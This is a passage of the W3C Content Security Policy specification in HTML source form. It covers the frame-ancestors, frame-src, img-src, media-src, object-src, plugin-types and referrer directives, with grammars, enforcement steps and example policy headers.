equivalent\n    functionality in non-HTML resources. Resources can use this directive to\n    avoid many UI Redressing <a data-biblio-type=informative data-link-type=biblio href=#biblio-uiredress title=biblio-UIREDRESS>[UIREDRESS]</a> attacks by avoiding being embedded\n    into potentially hostile contexts.</p>\n\n<p>The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n\n    <pre><dfn data-dfn-type=dfn data-noexport=\"\" id=ancestor-source-list>ancestor-source-list<a class=self-link href=#ancestor-source-list></a></dfn> = [ <a data-link-type=dfn href=#ancestor-source title=ancestor-source>ancestor-source</a> *( 1*WSP <a data-link-type=dfn href=#ancestor-source title=ancestor-source>ancestor-source</a> ) ] / \"'none'\"\n<dfn data-dfn-type=dfn data-noexport=\"\" id=ancestor-source>ancestor-source<a class=self-link href=#ancestor-source></a></dfn>      = <a data-link-type=dfn href=#scheme-source title=scheme-source>scheme-source</a> / <a data-link-type=dfn href=#host-source title=host-source>host-source</a>\ndirective-name  = \"frame-ancestors\"\ndirective-value = <a data-link-type=dfn href=#ancestor-source-list title=ancestor-source-list>ancestor-source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-frame-ancestors>allowed frame ancestors<a class=self-link href=#allowed-frame-ancestors></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>frame-ancestors</code>\n    directive’s value as a source list</a>. If a <code>frame-ancestors</code>\n    directive is not explicitly included in the policy, then <a data-link-type=dfn href=#allowed-frame-ancestors title=\"allowed frame ancestors\">allowed frame\n    ancestors</a> is \"<code>*</code>\".</p>\n\n<p>To enforce the <code>frame-ancestors</code> directive, whenever the\n    user agent would load the protected resource into a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing\n    context</a>, the user agent MUST perform the following steps:</p>\n\n    <ol>\n      <li>Let <var>nestedContext</var> be the nested browsing context into\n      which the protected resource is being loaded.</li>\n\n      <li>Let <var>ancestorList</var> be the list of all\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#ancestor-browsing-context title=ancestors>ancestors</a> of <var>nestedContext</var>.</li>\n\n      <li>For each <var>ancestorContext</var> in <var>ancestorList</var>:\n        <ol>\n          <li>Let <var>document</var> be <var>ancestorContext</var>’s\n          <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#active-document title=\"active document\">active document</a>.</li>\n\n          <li>If <var>document</var>’s URL does not\n          <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-frame-ancestors title=\"allowed frame ancestors\">allowed frame\n          ancestors</a>, the user agent MUST:\n            <ol>\n              <li>Abort loading the protected resource.</li>\n\n              <li>Act as if it received an empty <a data-link-type=dfn href=#http-200-response title=\"HTTP 200 response\">HTTP 200 response</a>.</li>\n\n              <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive title=\"Parse a sandboxing directive\">Parse a sandboxing directive</a> using the\n              empty string as the <em>input</em> and the newly created\n              document’s <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set title=\"forced sandboxing flag set\">forced sandboxing flag set</a> as the\n              <em>output</em>.</li>\n            </ol>\n          </li>\n        </ol>\n      </li>\n    </ol>\n\n<p>Steps 2.2 and 2.3 ensure that the blocked frame appears to be a\n    normal cross-origin document’s load. If these steps are ignored,\n    leakage of a document’s policy state is possible. The user agent MAY\n    implement these steps by instead redirecting the user to friendly\n    error page in a unique origin which provides the option of opening\n    the blocked page in a new <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#top-level-browsing-context title=\"top-level browsing context\">top-level browsing context</a>.</p>\n\n<p>The <code>frame-ancestors</code> directive MUST be ignored\n    when <a data-link-type=dfn href=#monitor title=monitoring>monitoring</a> a policy, and when a contained in a\n    policy defined via a <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#meta title=meta>meta</a></code> element.</p>\n\n<p class=note>Note: <code><a data-link-type=dfn href=#frame-ancestors title=frame-ancestors>frame-ancestors</a></code> does not fall back to the\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a> when the directive is not defined. That is, a policy\n    that defines <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a> 'none'</code> but not\n    <code>frame-ancestors</code> will still allow the resource to be framed from\n    anywhere.</p>\n\n<p>When generating a violation report for a <code>frame-ancestors</code>\n    violation, the user agent MUST NOT include the value of the embedding\n    ancestor as a <code>blocked-uri</code> value unless it is same-origin with\n    the protected resource, as disclosing the value of cross-origin ancestors\n    is a violation of the Same-Origin Policy.</p>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=7.7.1 id=frame-ancestors-and-frame-options><span class=secno>7.7.1 </span><span class=content>\n        Relation to <code>X-Frame-Options</code>\n      </span><a class=self-link href=#frame-ancestors-and-frame-options></a></h4>\n\n<p>This directive is similar to the <code>X-Frame-Options</code> header that\n      several user agents have implemented. The <code>'none'</code> source\n      expression is roughly equivalent to that header’s <code>DENY</code>,\n      <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major\n      difference is that many user agents implement <code>SAMEORIGIN</code> such\n      that it only matches against the top-level document’s location. This\n      directive checks each ancestor. If any ancestor doesn’t match, the load\n      is cancelled. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc7034 title=biblio-RFC7034>[RFC7034]</a></p>\n\n<p>The <code>frame-ancestors</code> directive <em>obsoletes</em> the\n      <code>X-Frame-Options</code> header.  If a resource has both policies,\n      the <code>frame-ancestors</code> policy SHOULD be enforced and the\n      <code>X-Frame-Options</code> policy SHOULD be ignored.</p>\n    </section>\n\n    <section class=informative id=multiple-host-source-values>\n      <h4 class=\"heading settled\" data-level=7.7.2 id=frame-ancestors-multiple-source-values><span class=secno>7.7.2 </span><span class=content>Multiple Host Source Values</span><a class=self-link href=#frame-ancestors-multiple-source-values></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>Multiple source-list expressions are allowed in a single policy (in contrast\n      to <code>X-Frame-Options</code>, which allows only one) to enable\n      scenarios involving embedded application components that are multiple levels\n      below the top-level browsing context.</p>\n\n<p>Many common scenarios for permissioned embedding (e.g. embeddable payment,\n      sharing or social apps) involve potentially many hundreds or thousands of\n      valid <code>source-list</code> expressions, but it is strongly recommended\n      against accommodating such scenarios with a static\n      <code>frame-ancestors</code> directive listing multiple values. In such\n      cases it is beneficial to generate this value dynamically, based on an\n      HTTP Referer header or an explicitly passed-in value, to allow only the\n      sources necessary for each given embedding of the resource.</p>\n\n<p>Consider a service providing a payments application at\n      <code>https://payments/makeEmbedded</code>. The service allows this resource\n      to be embedded by both merchant Alice and merchant Bob, who compete with each\n      other. Sending:</p>\n\n      <pre>Content-Security-Policy: <a data-link-type=dfn href=#frame-ancestors title=frame-ancestors>frame-ancestors</a> https://alice https://bob\n</pre>\n\n<p>would allow Bob to re-frame Alice’s resource and create fraudulent clicks,\n      perhaps discrediting Alice with her customers or the payments service. If the\n      payments service used additional information (e.g. as part of a URL like\n      <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n      individually-tailored headers listing only the source-list expressions\n      needed by each merchant, this attack would be eliminated.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.8 id=directive-frame-src><span class=secno>7.8 </span><span class=content><code>frame-src</code></span><a class=self-link href=#directive-frame-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=frame-src>frame-src<a class=self-link href=#frame-src></a></dfn></code> directive is <em>deprecated</em>.\n    Authors who wish to govern nested browsing contexts SHOULD use the\n    <code>child-src</code> directive instead.</p>\n\n<p>The <code>frame-src</code> directive restricts from where the\n    protected resource can embed frames. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n\n    <pre>directive-name    = \"frame-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-frame-sources>allowed frame sources<a class=self-link href=#allowed-frame-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>frame-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>frame-src</code>, or otherwise to the list of\n    <a data-link-type=dfn href=#allowed-child-sources title=\"allowed child sources\">allowed child sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-frame-sources title=\"allowed frame sources\">allowed frame sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for display in a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a> in the\n      protected resource created by an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> or\n      a <code><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/obsolete.html#frame title=frame>frame</a></code> element.</li>\n\n      <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#navigate title=Navigated>Navigated</a> such a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a>.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.9 id=directive-img-src><span class=secno>7.9 </span><span class=content><code>img-src</code></span><a class=self-link href=#directive-img-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=img-src>img-src<a class=self-link href=#img-src></a></dfn></code> directive restricts from where the\n    protected resource can load images. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"img-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-image-sources>allowed image sources<a class=self-link href=#allowed-image-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>img-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>img-src</code>, or otherwise to the list of\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-image-sources title=\"allowed image sources\">allowed image sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      \n      <li>Requesting data for an image, such as when processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> or\n      <code>srcset</code> attributes of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element title=img>img</a></code> element, the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/forms.html#the-input-element title=input>input</a></code> element with a type of\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/forms.html#attr-input-type-image-keyword title=image>image</a></code>,\n      the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-video-poster title=poster>poster</a></code> attribute of a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#video title=video>video</a></code> element,\n      the <span class=css>url()</span>, <a class=\"production css\" data-link-type=function href=http://dev.w3.org/csswg/css-images-4/#funcdef-image title=image()>&lt;image()&gt;</a> or <a class=\"production css\" data-link-type=function href=http://dev.w3.org/csswg/css-images-4/#funcdef-image-set title=image-set()>&lt;image-set()&gt;</a> values on any\n      Cascading Style Sheets (CSS)\n      property that is capable of loading an image <a data-biblio-type=normative data-link-type=biblio href=#biblio-css4-images title=biblio-CSS4-IMAGES>[CSS4-IMAGES]</a>, or\n      the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-base-href title=href>href</a></code> attribute of a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-link-element title=link>link</a></code> element with an image-related\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel title=rel>rel</a></code> attribute, such as\n      <code><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/links.html#rel-icon-0 title=icon>icon</a></code>.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.10 id=directive-media-src><span class=secno>7.10 </span><span class=content><code>media-src</code></span><a class=self-link href=#directive-media-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=media-src>media-src<a class=self-link href=#media-src></a></dfn></code> directive restricts from where the\n    protected resource can load video, audio, and associated text tracks.\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n\n    <pre>directive-name    = \"media-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-media-sources>allowed media sources<a class=self-link href=#allowed-media-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>media-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>media-src</code>, or otherwise to the list of\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-media-sources title=\"allowed media sources\">allowed media sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for a video or audio clip, such as when\n      processing the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute of a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#video title=video>video</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#audio title=audio>audio</a></code>,\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element title=source>source</a></code>, or <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element title=track>track</a></code>\n      elements.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.11 id=directive-object-src><span class=secno>7.11 </span><span class=content><code>object-src</code></span><a class=self-link href=#directive-object-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=object-src>object-src<a class=self-link href=#object-src></a></dfn></code> directive restricts from where\n    the protected resource can load plugins. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"object-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-object-sources>allowed object sources<a class=self-link href=#allowed-object-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>object-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>object-src</code>, or otherwise to the list of\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-object-sources title=\"allowed object sources\">allowed object sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for a plugin, such as when processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data title=data>data</a></code> attribute of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element, the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> elements, or the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/obsolete.html#attr-object-code title=code>code</a></code> or\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/obsolete.html#attr-object-archive title=archive>archive</a></code> attributes of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code> element.</li>\n\n      <li>Requesting data for display in a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a>\n      in the protected resource created by an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>\n      or an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> element.</li>\n\n      <li>Navigating such a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a>.</li>\n    </ul>\n\n<p>It is not required that the consumer of the element’s data be a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> in order for the <code>object-src</code> directive to be\n    enforced. Data for any <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>,\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code>, or <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code>\n    element MUST match the <a data-link-type=dfn href=#allowed-object-sources title=\"allowed object sources\">allowed object sources</a> in order to be fetched.\n    This is true even when the element data is semantically equivalent to\n    content which would otherwise be restricted by one of the other\n    <a data-section=\"\" href=#sec-directives>directives</a>, such as an\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element with a <code>text/html</code>\n    MIME type.</p>\n\n<p>Whenever the user agent would load a <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> without an associated\n    URI (e.g., because the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element lacked a\n    <code>data</code> attribute), if the protected resource’s URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-object-sources title=\"allowed object sources\">allowed object sources</a>,\n    the user agent MUST NOT load the plugin.</p>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.12 id=directive-plugin-types><span class=secno>7.12 </span><span class=content><code>plugin-types</code></span><a class=self-link href=#directive-plugin-types></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=plugin-types>plugin-types<a class=self-link href=#plugin-types></a></dfn></code> directive restricts the set\n    of plugins that can be invoked by the protected resource by limiting\n    the types of resources that can be embedded. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n\n    <pre>directive-name    = \"plugin-types\"\ndirective-value   = media-type-list\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-plugin-media-types>allowed plugin media types<a class=self-link href=#allowed-plugin-media-types></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-media-type-list title=\"parse a media type list\">parsing the <code>plugin-types</code>\n    directive’s value as a media type list</a>.</p>\n\n<p>Whenever the user agent would instantiate a <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a>\n    to handle <var>resource</var> while enforcing the <code>plugin-types</code>\n    directive, the user agent MUST instead act as though the plugin reported an\n    error <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a> if any of the following\n    conditions hold:</p>\n\n    <ul>\n        <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> or\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> element that does not explicitly\n        declare a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#mime-type title=\"MIME type\">MIME type</a> via a\n        <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-type title=type>type</a></code> attribute.</li>\n\n        <li><var>resource</var>’s media type does not\n        <a data-link-type=dfn href=#match-a-media-type-list title=\"match a media type list\">match</a> the list of <a data-link-type=dfn href=#allowed-plugin-media-types title=\"allowed plugin media types\">allowed\n        plugin media types</a>.</li>\n\n        <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> or\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> element, and the media type declared\n        in the element’s <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-type title=type>type</a></code> attribute is not\n        a case-insensitive match for the <var>resource</var>’s media\n        type.</li>\n\n        <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code> element, and <var>resource</var>’s\n        media type is not a case-insensitive match for\n        <code>application/x-java-applet</code>.</li>\n    </ul>\n\n<p class=note>Note: In any of these cases, acting as though the plugin reported an\n    error will cause the user agent to display the <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/dom.html#fallback-content title=\"fallback content\">fallback\n    content</a>.</p>\n\n<p>Whenever the user agent creates a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#plugin-document title=\"plugin document\">plugin document</a> in a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a> in the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>, if the user\n    agent is enforcing any <code>plugin-types</code> directives for the\n    protected resource, the user agent MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a> those\n    <code>plugin-types</code> directives on the plugin document as well.</p>\n\n<p>Whenever the user agent creates a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#plugin-document title=\"plugin document\">plugin document</a> in a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a> in the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>, if the user\n    agent is monitoring any <code>plugin-types</code> directives for the\n    protected resource, the user agent MUST <a data-link-type=dfn href=#monitor title=monitor>monitor</a> those\n    <code>plugin-types</code> directives on the plugin document as well.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.12.1 id=plugin-types-usage><span class=secno>7.12.1 </span><span class=content>Usage</span><a class=self-link href=#plugin-types-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The <code>plugin-types</code> directive whitelists a certain set\n      of MIME types that can be embedded in a protected resource. For\n      example, a site might want to ensure that PDF content loads, but that\n      no other plugins can be instantiated. The following directive would\n      satisfy that requirement:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#plugin-types title=plugin-types>plugin-types</a> application/pdf</pre>\n\n<p>Resources embedded via an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> or\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element delivered with an\n      <code>application/pdf</code> content type would be rendered in the\n      appropriate plugin; resources delivered with some other content type\n      would be blocked. Multiple types can be specified, in any order. If the\n      site decided to additionally allow Flash at some point in the future, it\n      could do so with the following directive:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#plugin-types title=plugin-types>plugin-types</a> application/pdf application/x-shockwave-flash</pre>\n\n<p class=note>Note: Wildcards are not accepted in the <code>plugin-types</code>\n      directive. Only the resource types explicitly listed in the directive\n      will be allowed.</p>\n  </section>\n  <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.12.2 id=plugin-types-predeclaration><span class=secno>7.12.2 </span><span class=content>\n        Predeclaration of expected media types\n      </span><a class=self-link href=#plugin-types-predeclaration></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>Enforcing the <code>plugin-types</code> directive requires that\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> and <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code>\n      elements declare the expected media type of the resource they include via\n      the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-type title=type>type</a></code> attribute. If an author expects\n      to load a PDF, she could specify this as follows:</p>\n\n<pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\"&gt;&lt;/object&gt;</pre>\n\n<p>If <var>resource</var> isn’t actually a PDF file, it won’t\n      load. This prevents certain types of attacks that rely on serving\n      content that unexpectedly invokes a plugin other than that which the\n      author intended.</p>\n\n<p class=note>Note: <var>resource</var> will not load in this scenario even\n      if its media type is otherwise whitelisted: resources will only load\n      when their media type is whitelisted <em>and</em> matches the\n      declared type in their containing element.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.13 id=directive-referrer><span class=secno>7.13 </span><span class=content><code>referrer</code></span><a class=self-link href=#directive-referrer></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=referrer>referrer<a class=self-link href=#referrer></a></dfn></code> directive specifies the referrer\n    policy <a data-biblio-type=normative data-link-type=biblio href=#biblio-referrer title=biblio-REFERRER>[REFERRER]</a> that the user agent applies when determining what\n    referrer information should be included with requests made, and with\n    <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#browsing-context title=\"browsing contexts\">browsing contexts</a> created from the context of the\n    protected resource. The syntax for the name and value of the directive\n    are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"referrer\"\ndirective-value   = \"no-referrer\" / \"no-referrer-when-downgrade\" / \"origin\" / \"origin-when-cross-origin\" / \"unsafe-url\"\n</pre>\n\n<p class=note>Note: The directive name does not share the HTTP header’s misspelling.</p>\n\n<p>When <a data-link-type=dfn href=#enforce title=enforcing>enforcing</a> the <code>referrer</code> directive, the user agent\n    MUST execute <a data-biblio-type=normative data-link-type=biblio href=#biblio-referrer title=biblio-REFERRER>[REFERRER]</a>'s\n    <a href=http://w3c.github.io/webappsec/specs/referrer-policy/#set-referrer-policy>Set <var>environment</var>’s referrer policy to <var>policy</var>.</a>\n    algorithm on the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>’s <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#javascript-global-environment title=\"JavaScript global environment\">JavaScript global\n    environment</a> using the result of executing the\n    <a href=http://w3c.github.io/webappsec/specs/referrer-policy/#determine-policy-for-token>Determine <var>token</var>’s Policy</a>\n    algorithm on the <code>referrer</code> directive’s value.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled\" data-level=7.13.1 id=referrer-usage><span class=secno>7.13.1 </span><span class=content>Usage</span><a class=self-link href=#referrer-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>A protected resource can prevent referrer leakage by specifying\n      <code>no-referrer</code> as the value of its policy’s\n      <code>referrer</code> directive:</p>\n\n      <pre>Content-Security-Policy: referrer no-referrer;\n</pre>\n\n<p>This will cause all requests made from the protected resource’s\n      context to have an empty <code>Referer</code> [sic] header.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled\" data-level=7.14 id=directive-reflected-xss><span class=secno>7.14 </span><span class=content><code>reflected-xss</code></span><a class=self-link href=#directive-reflected-xss></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=reflected-xss>reflected-xss<a class=self-link href=#reflected-xss></a></dfn></code> directive instructs a user agent\n    to activate or deactivate any heuristics used to filter or block\n    reflected cross-site scripting 